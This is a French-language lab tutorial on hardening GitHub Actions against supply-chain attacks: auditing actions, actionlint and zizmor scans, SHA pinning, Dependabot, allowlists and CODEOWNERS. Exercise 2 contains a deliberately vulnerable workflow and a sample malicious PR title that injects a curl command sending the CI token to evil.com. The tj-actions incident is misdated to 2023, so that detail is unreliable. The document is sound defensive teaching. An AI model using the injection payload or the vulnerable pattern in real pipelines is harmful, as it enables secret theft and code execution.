Vue d’ensemble
Les GitHub Actions tierces sont l’une des fonctionnalités les plus pratiques de l’écosystème GitHub. Avec une simple directive uses:, vous pouvez intégrer une logique de build complexe, déployer sur des fournisseurs cloud ou exécuter des scanners de sécurité. Mais cette commodité implique un compromis critique : chaque action tierce exécute du code dans votre environnement CI avec accès à vos secrets, tokens et code source.
Une action compromise ou malveillante peut exfiltrer des identifiants, injecter du code dans vos artefacts de build, modifier des variables d’environnement pour altérer les étapes en aval, ou créer des portes dérobées dans vos releases. Contrairement aux dépendances gérées par des gestionnaires de paquets, les GitHub Actions ne disposent pas d’un écosystème de vérification robuste, ce qui en fait une cible privilégiée pour les attaques de la chaîne d’approvisionnement.
Dans ce lab pratique, vous apprendrez à :
- Auditer manuellement les actions tierces pour détecter les comportements suspects
- Utiliser actionlint pour détecter les erreurs de configuration et les vulnérabilités d’injection d’expression
- Utiliser zizmor pour détecter les anti-patterns de sécurité spécifiques dans les workflows
- Épingler les actions à des références SHA immuables et automatiser les mises à jour avec Dependabot
- Appliquer une liste blanche d’actions pour empêcher les actions non autorisées d’entrer dans vos pipelines
- Surveiller les modifications de workflows via CODEOWNERS et des vérifications automatisées de PR
À la fin de ce lab, vous disposerez d’une stratégie de défense en profondeur qui réduit le risque de compromission de la chaîne d’approvisionnement via les GitHub Actions.
Prérequis
Avant de commencer ce lab, assurez-vous de disposer de :
- Un compte GitHub avec les permissions nécessaires pour créer des dépôts et configurer les Actions
- Un dépôt de test — créez un nouveau dépôt ou utilisez un dépôt existant hors production avec au moins un workflow GitHub Actions
- Git CLI installé et authentifié auprès de GitHub
- Node.js 18+ (requis pour certains outils)
- Python 3.9+ (pour installer zizmor)
- GitHub CLI (
gh) — installer depuis cli.github.com - Connaissances de base en GitHub Actions — vous devez comprendre la syntaxe YAML des workflows, les jobs, les steps et le mot-clé
uses:
Créez un dépôt de test si vous n’en avez pas :
gh repo create actions-security-lab --public --clone
cd actions-security-lab
mkdir -p .github/workflows
Créez un fichier de workflow exemple à .github/workflows/ci.yml que nous utiliserons tout au long de ce lab :
name: CI Pipeline
on:
push:
branches: [main]
pull_request:
branches: [main]
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- uses: actions/cache@v4
with:
path: ~/.npm
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
- run: npm ci
- run: npm test
Comprendre la menace
Avant de commencer à scanner et auditer, il est important de comprendre comment les GitHub Actions deviennent des vecteurs d’attaque. Il existe plusieurs méthodes de compromission bien documentées :
Prise de contrôle du compte du mainteneur
Un attaquant obtient l’accès au compte GitHub d’un mainteneur d’action — par bourrage d’identifiants, hameçonnage ou détournement de session. Une fois le compte sous contrôle, il pousse du code malveillant dans le dépôt de l’action et met à jour les tags existants pour pointer vers le commit compromis. Chaque workflow référençant ce tag récupère immédiatement la version malveillante lors de son prochain lancement.
Mises à jour malveillantes de tags
Les tags Git sont mutables. Un mainteneur d’action (ou un attaquant ayant un accès en écriture) peut supprimer un tag comme v1 et le recréer en pointant vers un commit différent. Si votre workflow utilise uses: some-action/tool@v1, vous faites confiance au fait que le tag pointe toujours vers du code sûr. Cette confiance est facilement violée.
Typosquatting
Les attaquants créent des actions avec des noms similaires de manière confuse aux actions populaires. Par exemple :
actions/checkout(légitime) vs.action/checkout(typosquat)actions/setup-nodevs.actions/setup-nodejsdocker/build-push-actionvs.docker/build-and-push-action
Une simple faute de frappe dans votre fichier YAML de workflow peut récupérer une action complètement différente et malveillante.
Détournement de dépendances
De nombreuses GitHub Actions sont basées sur JavaScript et possèdent leurs propres dépendances node_modules. Si une dépendance d’une action est compromise (via une attaque de la chaîne d’approvisionnement npm), l’action elle-même devient un vecteur — même si le propre code de l’action est propre.
Incidents réels
tj-actions/changed-files (mars 2023) : Des attaquants ont compromis l’action largement utilisée tj-actions/changed-files en obtenant l’accès au compte du mainteneur. Ils ont modifié l’action pour exfiltrer les secrets CI/CD en vidant la mémoire du runner et les variables d’environnement dans les logs du workflow. Des milliers de dépôts ont été affectés car ils référençaient des tags mutables plutôt que des SHA épinglés.
codecov/codecov-action (2021) : Le Bash Uploader de Codecov a été modifié par des attaquants qui ont obtenu l’accès via une image Docker compromise utilisée dans le processus CI de Codecov. Le script altéré exfiltrait les variables d’environnement — y compris les tokens CI, les clés API et les identifiants — depuis les environnements CI des clients. Cela a affecté un grand nombre d’organisations exécutant l’action Codecov dans leurs pipelines.
Ces incidents partagent un schéma commun : la confiance dans les références mutables. Les deux auraient pu être atténués en épinglant à des SHA immuables et en auditant le comportement des actions avant leur adoption.
Exercice 1 : Audit manuel des actions
Les outils automatisés sont essentiels, mais rien ne remplace la compréhension de ce que fait réellement une action. Dans cet exercice, vous allez auditer manuellement trois actions couramment utilisées pour développer vos réflexes de détection de patterns suspects.
Étape 1 : Sélectionner les actions à auditer
À partir du workflow exemple ci-dessus, nous allons auditer :
actions/checkout@v4actions/setup-node@v4actions/cache@v4
Étape 2 : Examiner action.yml
Pour chaque action, commencez par examiner le fichier action.yml dans le dépôt de l’action. Ce fichier définit les entrées, les sorties et le point d’entrée de l’action.
# Cloner l'action pour l'inspecter localement
git clone --depth 1 https://github.com/actions/checkout.git /tmp/audit-checkout
cat /tmp/audit-checkout/action.yml
Éléments clés à rechercher dans action.yml :
- Point d’entrée : S’agit-il d’une action
node(exécute du JavaScript),composite(exécute des étapes) oudocker(exécute un conteneur) ? Chaque type a un profil de risque différent. - Entrées : L’action accepte-t-elle des entrées sensibles comme des tokens ou des identifiants ?
- Post-action : Définit-elle un point d’entrée
post:? Les post-actions s’exécutent même si le job échoue, ce qui les rend idéales pour l’exfiltration.
Étape 3 : Inspecter le code source
Pour les actions JavaScript/TypeScript, examinez le fichier compilé dist/index.js et les sources dans src/ :
# Rechercher les appels réseau
grep -rn 'https\?://' /tmp/audit-checkout/src/ | grep -v 'github.com\|api.github.com'
# Rechercher les patterns d'accès aux secrets
grep -rn 'GITHUB_TOKEN\|process.env\|getInput' /tmp/audit-checkout/src/
# Rechercher les écritures de fichiers vers des emplacements sensibles
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' /tmp/audit-checkout/src/
# Rechercher les appels exec ou spawn
grep -rn 'exec\|spawn\|child_process' /tmp/audit-checkout/src/
Étape 4 : Liste de vérification des signaux d’alerte
Utilisez cette liste de vérification lors de l’audit de toute GitHub Action :
| Signal d’alerte | Ce qu’il faut rechercher | Niveau de risque |
|---|---|---|
| Appels réseau vers des domaines inconnus | fetch(), http.request(), curl vers des domaines non-GitHub |
Critique |
| Accès aux secrets | Lecture de GITHUB_TOKEN, secrets.* ou des variables d’environnement |
Élevé |
| Manipulation de l’environnement | Écriture dans GITHUB_ENV, GITHUB_OUTPUT ou GITHUB_PATH |
Élevé |
| Exécution de code dynamique | eval(), exec(), téléchargement et exécution de scripts |
Critique |
| Code obfusqué | Chaînes encodées en Base64, code minifié sans source maps | Élevé |
| Hooks post-action | Point d’entrée post: dans action.yml |
Moyen |
| Permissions excessives demandées | La documentation demande des permissions write au-delà de ce qui est nécessaire |
Moyen |
| Pas de vérification ni de signature | Action ne provenant pas d’un créateur vérifié, pas de signatures Sigstore | Faible-Moyen |
Étape 5 : Exemple d’audit — actions/checkout@v4
Voici un audit condensé de actions/checkout@v4 :
# Analyse de action.yml
# - Type : node20 (action JavaScript)
# - Entrées : Accepte l'entrée 'token' (par défaut github.token)
# - Post-action : Oui — exécute un nettoyage pour supprimer les identifiants
# Analyse réseau
# - Se connecte à : api.github.com (attendu pour les opérations git)
# - Pas de connexions vers des domaines tiers ✓
# Gestion des secrets
# - Utilise GITHUB_TOKEN pour le clone git authentifié
# - Le token est conservé dans la config git par défaut (entrée persist-credentials)
# - La post-action supprime les identifiants conservés
# Écritures d'environnement
# - N'écrit pas dans GITHUB_ENV ni GITHUB_PATH ✓
# Verdict : SÛR — le comportement correspond à l'objectif documenté
# Recommandation : Définir persist-credentials: false pour minimiser l'exposition du token
Appliquez ce même processus à chaque nouvelle action avant de l’ajouter à vos workflows.
Exercice 2 : Scanner les actions avec actionlint
actionlint est un outil d’analyse statique pour les fichiers de workflow GitHub Actions. Il détecte les erreurs de syntaxe, les incompatibilités de types et — point crucial pour notre propos — les vulnérabilités d’injection d’expression.
Étape 1 : Installer actionlint
# macOS
brew install actionlint
# Linux (télécharger le binaire)
curl -sL https://github.com/rhysd/actionlint/releases/latest/download/actionlint_linux_amd64.tar.gz | tar xz
sudo mv actionlint /usr/local/bin/
# Vérifier l'installation
actionlint --version
Étape 2 : Exécuter sur vos workflows
actionlint .github/workflows/*.yml
Pour notre workflow CI exemple, actionlint produira une sortie propre car nous avons suivi les bonnes pratiques. Introduisons un workflow vulnérable pour voir les capacités de détection de sécurité d’actionlint.
Étape 3 : Créer un workflow vulnérable
Créez .github/workflows/greet-pr.yml avec des vulnérabilités intentionnelles :
name: Greet PR
on:
pull_request_target:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Greet the contributor
run: |
echo "PR Title: ${{ github.event.pull_request.title }}"
echo "PR Author: ${{ github.event.pull_request.user.login }}"
echo "PR Body: ${{ github.event.pull_request.body }}"
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Post comment
run: |
curl -X POST \
-H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.pull_request.number }}/comments \
-d '{"body": "Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}"}'
Étape 4 : Scanner le workflow vulnérable
actionlint .github/workflows/greet-pr.yml
actionlint signalera les vulnérabilités d’injection d’expression :
.github/workflows/greet-pr.yml:14:27: expression injection:
"github.event.pull_request.title" is potentially untrusted.
Consider using an environment variable instead.
[expression]
.github/workflows/greet-pr.yml:16:25: expression injection:
"github.event.pull_request.body" is potentially untrusted.
Consider using an environment variable instead.
[expression]
Les champs title et body sont contrôlés par l’auteur de la PR. Un attaquant peut concevoir un titre de PR contenant des métacaractères shell pour exécuter des commandes arbitraires :
# Titre de PR malveillant :
Innocent Title"; curl -s https://evil.com/steal?token=$GITHUB_TOKEN; echo "
Lorsque ce titre est interpolé directement dans le bloc run: via ${{ }}, le shell exécute la commande injectée.
Étape 5 : Corriger la vulnérabilité
La correction consiste à passer les données non fiables via des variables d’environnement au lieu de l’interpolation directe :
name: Greet PR (Fixed)
on:
pull_request_target:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Greet the contributor
run: |
echo "PR Title: $PR_TITLE"
echo "PR Author: $PR_AUTHOR"
echo "PR Body: $PR_BODY"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
PR_BODY: ${{ github.event.pull_request.body }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Post comment
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`
});
Les variables d’environnement sont transmises comme des données, et non interpolées dans des commandes shell, ce qui empêche l’injection. Relancez actionlint pour confirmer la correction :
actionlint .github/workflows/greet-pr-fixed.yml
# Pas de sortie = aucun problème trouvé
Exercice 3 : Scanner avec zizmor
zizmor est un outil d’analyse statique axé sur la sécurité, spécifiquement conçu pour les GitHub Actions. Alors qu’actionlint se concentre sur la conformité avec quelques vérifications de sécurité, zizmor se concentre exclusivement sur les anti-patterns de sécurité.
Étape 1 : Installer zizmor
# Installation via pip
pip install zizmor
# Ou via pipx pour l'isolation
pipx install zizmor
# Vérifier l'installation
zizmor --version
Étape 2 : Exécuter sur vos workflows
zizmor .github/workflows/
zizmor analyse les workflows pour un ensemble complet de problèmes de sécurité. Sur notre ci.yml exemple, il signalera :
ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
15| - uses: actions/checkout@v4
| ^^^^ action not pinned to a full-length commit SHA
|
= note: Pinning actions to a full SHA protects against tag mutation attacks
ci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
17| - uses: actions/setup-node@v4
| ^^^^ action not pinned to a full-length commit SHA
ci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
20| - uses: actions/cache@v4
| ^^^^ action not pinned to a full-length commit SHA
Étape 3 : Scanner le workflow vulnérable
zizmor .github/workflows/greet-pr.yml
zizmor produira des résultats de sécurité plus riches :
greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger
|
4 | pull_request_target:
| ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch
|
= note: This trigger has access to repository secrets and a read-write token
greet-pr.yml:14:27 error[template-injection]: template injection in run: block
|
14| echo "PR Title: ${{ github.event.pull_request.title }}"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
= note: Attacker-controlled input is interpolated directly into a shell command
greet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA
|
= note: All third-party actions should be pinned to full commit SHAs
greet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad
|
= note: Consider using read-only permissions where possible
Étape 4 : Comparer actionlint et zizmor
| Fonctionnalité | actionlint | zizmor |
|---|---|---|
| Objectif principal | Conformité et syntaxe | Analyse de sécurité |
| Injection d’expression | Oui | Oui (plus complet) |
| Actions non épinglées | Non | Oui |
| Déclencheurs dangereux | Non | Oui |
| Permissions excessives | Non | Oui |
| Empoisonnement d’artefacts | Non | Oui |
| Mauvaise configuration OIDC | Non | Oui |
| Vérification de types | Oui | Non |
| Syntaxe obsolète | Oui | Non |
Recommandation : Utilisez les deux outils ensemble. actionlint détecte les problèmes de conformité et les patterns d’injection de base ; zizmor fournit une analyse de sécurité plus approfondie. Ajoutez les deux à votre pipeline CI :
name: Workflow Security Scan
on:
pull_request:
paths:
- '.github/workflows/**'
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- name: Run actionlint
run: |
brew install actionlint
actionlint .github/workflows/*.yml
- name: Run zizmor
run: |
pip install zizmor
zizmor .github/workflows/
Exercice 4 : Épinglage et vérification de l’intégrité des actions
Les références basées sur des tags comme @v4 sont mutables — le tag peut être déplacé pour pointer vers n’importe quel commit à tout moment. Les épinglages basés sur des SHA sont immuables et fournissent une assurance cryptographique que vous exécutez exactement le code que vous avez examiné.
Étape 1 : Résoudre les SHA de vos actions
Utilisez le GitHub CLI pour résoudre le SHA actuel de chaque tag d’action :
# Résoudre actions/checkout@v4
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object.sha'
# Sortie : b4ffde65f46336ab88eb53be808477a3936bae11
# Résoudre actions/setup-node@v4
gh api repos/actions/setup-node/git/ref/tags/v4 --jq '.object.sha'
# Sortie : 60edb5dd545a775178f52524783378180af0d1f8
# Résoudre actions/cache@v4
gh api repos/actions/cache/git/ref/tags/v4 --jq '.object.sha'
# Sortie : 0c45773b623bea8c8e75f6c82b208c3cf94d9d67
Important : Certains tags pointent vers des objets tag annotés plutôt que directement vers des commits. Dans ce cas, vous devez déréférencer le tag :
# Si la commande ci-dessus retourne un objet de type 'tag', déréférencez-le :
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object'
# Si le type est "tag", récupérez le commit sous-jacent :
gh api repos/actions/checkout/git/tags/TAG_SHA --jq '.object.sha'
Étape 2 : Mettre à jour votre workflow
Remplacez les références de tags par des épinglages SHA. Ajoutez toujours un commentaire avec le tag original pour la lisibilité :
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4
with:
node-version: '20'
- uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4
with:
path: ~/.npm
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
Étape 3 : Vérifier les signatures Sigstore (lorsque disponibles)
Certains éditeurs d’actions signent leurs releases avec Sigstore. Vous pouvez vérifier ces signatures :
# Installer cosign
brew install cosign
# Vérifier une release d'action signée (si l'éditeur la signe)
cosign verify-blob \
--certificate-identity "https://github.com/actions/checkout/.github/workflows/release.yml@refs/tags/v4" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
--bundle checkout-v4.sigstore.json \
checkout-v4.tar.gz
Toutes les actions ne publient pas encore de signatures Sigstore, mais c’est une bonne pratique émergente.
Étape 4 : Configurer Dependabot pour les mises à jour automatiques de SHA
L’épinglage aux SHA signifie que vous ne recevrez pas automatiquement les mises à jour. Utilisez Dependabot pour automatiser cela tout en maintenant l’immuabilité :
Créez .github/dependabot.yml :
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
open-pull-requests-limit: 10
labels:
- "dependencies"
- "github-actions"
reviewers:
- "your-security-team"
commit-message:
prefix: "chore(deps)"
Lorsqu’une nouvelle version d’une action est publiée, Dependabot créera une PR qui met à jour l’épinglage SHA :
# Exemple de diff de PR Dependabot :
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
+ uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2
Cela vous offre le meilleur des deux mondes : des références immuables avec des mises à jour automatisées qui passent par votre processus normal de revue de PR.
Exercice 5 : Application d’une liste blanche d’actions
Même avec l’épinglage et le scanning, vous avez besoin d’un mécanisme pour empêcher les actions non approuvées d’être ajoutées aux workflows. Une liste blanche garantit que seules les actions vérifiées peuvent être utilisées.
Option A : GitHub Enterprise — Liste blanche au niveau de l’organisation
Si vous utilisez GitHub Enterprise, vous pouvez restreindre les actions au niveau de l’organisation :
- Accédez aux Paramètres de l’organisation
- Naviguez vers Actions → Général
- Sous Politiques, sélectionnez Autoriser les actions et les workflows réutilisables sélectionnés
- Ajoutez les actions approuvées :
actions/checkout@*,actions/setup-node@*, etc.
C’est l’application la plus forte car GitHub lui-même rejettera les exécutions de workflow qui utilisent des actions non autorisées.
Option B : Vérification de la liste blanche basée sur le CI
Pour les organisations sans GitHub Enterprise, vous pouvez créer un mécanisme d’application basé sur le CI.
Étape 1 : Créer la liste blanche.
Créez allowed-actions.txt à la racine de votre dépôt :
# GitHub Actions approuvées
# Format : owner/repo
# Les lignes commençant par # sont des commentaires
# Actions officielles GitHub
actions/checkout
actions/setup-node
actions/cache
actions/upload-artifact
actions/download-artifact
actions/github-script
# Scanning de sécurité
github/codeql-action
# Tiers approuvés
docker/build-push-action
docker/login-action
Étape 2 : Créer le script de validation.
Créez scripts/check-actions.sh :
#!/bin/bash
set -euo pipefail
ALLOWLIST="allowed-actions.txt"
WORKFLOW_DIR=".github/workflows"
FAILED=0
if [[ ! -f "$ALLOWLIST" ]]; then
echo "ERROR: Allowlist file not found: $ALLOWLIST"
exit 1
fi
# Extraire toutes les références 'uses:' des fichiers de workflow
echo "Analyse des fichiers de workflow pour les références d'actions..."
echo "================================================"
for workflow in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[[ -f "$workflow" ]] || continue
echo ""
echo "Vérification : $workflow"
# Extraire les références d'actions (owner/repo depuis uses: owner/repo@ref)
actions=$(grep -oP 'uses:\s+\K[^@\s]+' "$workflow" | \
grep '/' | \
grep -v '^\.\./\|^docker://' | \
sort -u)
for action in $actions; do
if grep -qx "$action" "$ALLOWLIST"; then
echo " ✓ $action (approuvée)"
else
echo " ✗ $action (PAS DANS LA LISTE BLANCHE)"
FAILED=1
fi
done
done
echo ""
echo "================================================"
if [[ $FAILED -eq 1 ]]; then
echo "ÉCHEC : Actions non approuvées détectées !"
echo "Pour approuver une nouvelle action, ajoutez-la à $ALLOWLIST et obtenez la revue de l'équipe sécurité."
exit 1
else
echo "RÉUSSI : Toutes les actions sont approuvées."
fi
Rendez le script exécutable :
chmod +x scripts/check-actions.sh
Étape 3 : Créer le workflow d’application.
Créez .github/workflows/check-actions.yml :
name: Action Allowlist Check
on:
pull_request:
paths:
- '.github/workflows/**'
- 'allowed-actions.txt'
permissions:
contents: read
jobs:
check-actions:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- name: Check actions against allowlist
run: ./scripts/check-actions.sh
Étape 4 : Tester l’application.
Ajoutez une action non approuvée à un workflow dans une branche et ouvrez une PR :
# Dans une nouvelle branche, ajoutez une action non approuvée
git checkout -b test-unapproved-action
# Ajoutez une action non approuvée à ci.yml
# ex., uses: some-unknown/action@v1
git add .github/workflows/ci.yml
git commit -m "test: add unapproved action"
git push origin test-unapproved-action
# Ouvrez une PR → le job check-actions échouera
La sortie affichera :
Vérification : .github/workflows/ci.yml
✓ actions/checkout (approuvée)
✓ actions/setup-node (approuvée)
✓ actions/cache (approuvée)
✗ some-unknown/action (PAS DANS LA LISTE BLANCHE)
================================================
ÉCHEC : Actions non approuvées détectées !
Pour approuver une nouvelle action, ajoutez-la à allowed-actions.txt et obtenez la revue de l'équipe sécurité.
Faites de cette vérification un contrôle de statut requis dans vos règles de protection de branche pour appliquer la liste blanche sur toutes les PR.
Exercice 6 : Surveillance des modifications d’actions
Même avec des listes blanches et l’épinglage, vous avez besoin de visibilité sur les modifications des fichiers de workflow. Cet exercice met en place des mécanismes de surveillance et d’alerte.
Étape 1 : Configurer CODEOWNERS
Créez .github/CODEOWNERS pour exiger la revue de l’équipe sécurité pour les modifications de workflow :
# Exiger la revue de l'équipe sécurité pour toutes les modifications de workflow
.github/workflows/ @your-org/security-team
.github/actions/ @your-org/security-team
allowed-actions.txt @your-org/security-team
.github/dependabot.yml @your-org/security-team
Activez la règle de protection de branche « Exiger la revue des propriétaires de code » pour appliquer cela.
Étape 2 : Créer un rapporteur de modifications de workflow
Créez un workflow qui commente automatiquement les PR avec un résumé des modifications d’actions :
name: Workflow Change Report
on:
pull_request:
paths:
- '.github/workflows/**'
permissions:
contents: read
pull-requests: write
jobs:
report:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
with:
fetch-depth: 0
- name: Generate action change report
id: report
run: |
BASE=${{ github.event.pull_request.base.sha }}
HEAD=${{ github.event.pull_request.head.sha }}
echo "## Rapport de modifications de workflow" > /tmp/report.md
echo "" >> /tmp/report.md
# Trouver les fichiers de workflow modifiés
CHANGED_FILES=$(git diff --name-only "$BASE".."$HEAD" -- .github/workflows/)
if [[ -z "$CHANGED_FILES" ]]; then
echo "Aucun fichier de workflow modifié." >> /tmp/report.md
exit 0
fi
echo "### Fichiers modifiés" >> /tmp/report.md
for file in $CHANGED_FILES; do
echo "- \`$file\`" >> /tmp/report.md
done
echo "" >> /tmp/report.md
# Extraire les modifications d'actions
echo "### Modifications des références d'actions" >> /tmp/report.md
echo '```diff' >> /tmp/report.md
git diff "$BASE".."$HEAD" -- .github/workflows/ | \
grep -E '^[+-].*uses:' | \
grep -v '^[+-]{3}' >> /tmp/report.md || true
echo '```' >> /tmp/report.md
echo "" >> /tmp/report.md
echo "⚠️ **Revue de l'équipe sécurité requise pour les modifications de workflow.**" >> /tmp/report.md
- name: Comment on PR
uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7
with:
script: |
const fs = require('fs');
const report = fs.readFileSync('/tmp/report.md', 'utf8');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: report
});
Étape 3 : Exploiter les alertes de sécurité Dependabot
Dependabot signale automatiquement les vulnérabilités connues dans les GitHub Actions. Assurez-vous que cela est activé :
- Accédez à Paramètres du dépôt → Sécurité du code et analyse
- Activez les alertes Dependabot
- Activez les mises à jour de sécurité Dependabot
Lorsqu’une action épinglée présente une vulnérabilité connue, Dependabot créera une PR de mise à jour de sécurité. Puisque vous êtes épinglé à des SHA, le diff montre clairement les anciens et nouveaux hachages de commit, facilitant la revue de ce qui a exactement changé.
Étape 4 : Surveillance du journal d’audit (GitHub Enterprise)
Pour les organisations utilisant GitHub Enterprise, activez le streaming du journal d’audit pour détecter les modifications de workflow :
# Interroger le journal d'audit pour les modifications de fichiers de workflow
gh api orgs/YOUR_ORG/audit-log \
--method GET \
-f phrase='action:workflows' \
-f per_page=50 \
--jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'
Construire une stratégie de défense
Toutes les organisations n’ont pas besoin de chaque contrôle. Voici une approche par niveaux basée sur vos exigences de sécurité :
Niveau 1 : Minimum (Toutes les organisations)
- Épingler toutes les actions aux hachages SHA complets — empêche les attaques par mutation de tags
- Activer Dependabot pour github-actions — automatise les mises à jour de SHA
- Définir les permissions minimales — utiliser
permissions:au niveau du workflow et du job
Effort : Faible. Impact : Bloque le vecteur d’attaque le plus courant (tags mutables).
Niveau 2 : Recommandé (La plupart des organisations)
Tout ce qui figure dans le Niveau 1, plus :
- Exécuter actionlint et zizmor dans le CI — détecte les vulnérabilités d’injection et les mauvaises configurations de sécurité avant leur fusion
- Configurer CODEOWNERS pour les fichiers de workflow — garantit que l’équipe sécurité revoit toutes les modifications de workflow
- Activer les règles de protection de branche — exiger les vérifications de statut et les revues des propriétaires de code
Effort : Moyen. Impact : Détecte les vulnérabilités pendant le développement et assure la revue.
Niveau 3 : Haute sécurité (Industries réglementées, cibles à haute valeur)
Tout ce qui figure dans le Niveau 2, plus :
- Appliquer une liste blanche d’actions — seules les actions pré-approuvées peuvent être utilisées
- Audit de sécurité manuel pour chaque nouvelle action — revue complète du code avant l’ajout à la liste blanche
- Forker les actions critiques en interne — maintenir vos propres copies des actions essentielles pour éliminer les dépendances externes
- Rapport automatisé des modifications de workflow — commentaires de PR résumant toutes les modifications d’actions
- Surveillance du journal d’audit — alertes en temps réel sur les modifications de workflow
Effort : Élevé. Impact : Défense complète contre les attaques de la chaîne d’approvisionnement via les Actions.
Nettoyage
Après avoir terminé le lab, nettoyez toutes les ressources de test :
# Supprimer le dépôt de test si vous en avez créé un
gh repo delete actions-security-lab --yes
# Supprimer les répertoires d'audit clonés
rm -rf /tmp/audit-checkout /tmp/audit-setup-node /tmp/audit-cache
# Désinstaller les outils si plus nécessaires
# brew uninstall actionlint
# pip uninstall zizmor
Si vous avez utilisé votre propre dépôt, annulez les workflows de test vulnérables :
git checkout main
git branch -D test-unapproved-action
rm -f .github/workflows/greet-pr.yml
Points clés à retenir
- Les GitHub Actions tierces constituent un risque pour la chaîne d’approvisionnement. Chaque directive
uses:exécute du code externe dans votre environnement CI avec accès à vos secrets et tokens. - Les tags mutables sont la cause principale de la plupart des compromissions d’actions. L’épinglage aux hachages SHA complets élimine les attaques par mutation de tags, le vecteur d’exploitation le plus courant.
- L’injection d’expression est la vulnérabilité de workflow la plus répandue. N’interpolez jamais des données non fiables (titres de PR, noms de branches, messages de commit) directement dans les blocs
run:— utilisez toujours des variables d’environnement. - Le scanning automatisé avec actionlint et zizmor détecte ce que la revue manuelle manque. Utilisez les deux outils dans votre pipeline CI — actionlint pour la conformité et la sécurité de base, zizmor pour une analyse de sécurité approfondie.
- La défense en profondeur est essentielle. Aucun contrôle unique n’est suffisant. Combinez l’épinglage, le scanning, les listes blanches, CODEOWNERS et la surveillance pour une protection complète.
- Traitez les fichiers de workflow comme du code de production. Ils méritent les mêmes processus de revue, de test et de gestion des changements que votre code applicatif.
Prochaines étapes
Continuez à développer vos connaissances en sécurité CI/CD avec ces guides connexes :
- Patterns défensifs et atténuations pour les attaques de pipelines CI/CD — Apprenez des stratégies défensives plus larges pour protéger l’ensemble de votre pipeline CI/CD au-delà des seules GitHub Actions.
- Modèles d’exécution CI/CD et hypothèses de confiance — Comprenez les frontières de confiance et les modèles d’exécution qui sous-tendent la sécurité CI/CD, et comment concevoir des pipelines avec des hypothèses axées sur la sécurité.